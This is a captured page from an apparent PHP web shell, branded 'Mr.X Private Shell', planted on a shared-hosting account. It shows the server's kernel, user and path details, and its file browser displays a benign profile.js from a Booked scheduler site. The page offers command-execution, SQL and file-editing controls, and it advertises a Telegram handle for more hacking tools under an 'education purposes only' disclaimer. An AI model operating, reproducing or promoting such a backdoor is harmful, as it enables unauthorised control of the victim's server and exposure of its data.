Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old/////booked/Web/scripts      ( Reset | Go to )
File Name: profile.js
Edit
function Profile() {
    var elements = {
        form: $('#frmRegister')
    };

    Profile.prototype.init = function () {

        $("#btnUpdate").click(function (e) {
            e.preventDefault();
            $('#frmRegister').submit();
        });

        elements.form.bind('onValidationFailed', onValidationFailed);

        ConfigureAdminForm(elements.form, defaultSubmitCallback, successHandler, null, {onBeforeSubmit: onBeforeAddSubmit});
    };

    var defaultSubmitCallback = function (form) {
        return form.attr('action') + "?action=" + form.attr('ajaxAction');
    };

    function onValidationFailed(event, data)
    {
        hideModal();
    }

    function successHandler(response)
    {
        hideModal();
        $('#profileUpdatedMessage').show();
    }

    function onBeforeAddSubmit(formData, jqForm, opts)
    {
        $('#profileUpdatedMessage').hide();

        $.colorbox({inline:true, href:"#modalDiv", transition:"none", width:"75%", height:"75%", overlayClose: false});
        $('#modalDiv').show();

        return true;
    }

    function hideModal()
    {
        $('#modalDiv').hide();
        $.colorbox.close();

        var top = $("#registrationbox").scrollTop();
        $('html, body').animate({scrollTop:top}, 'slow');
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL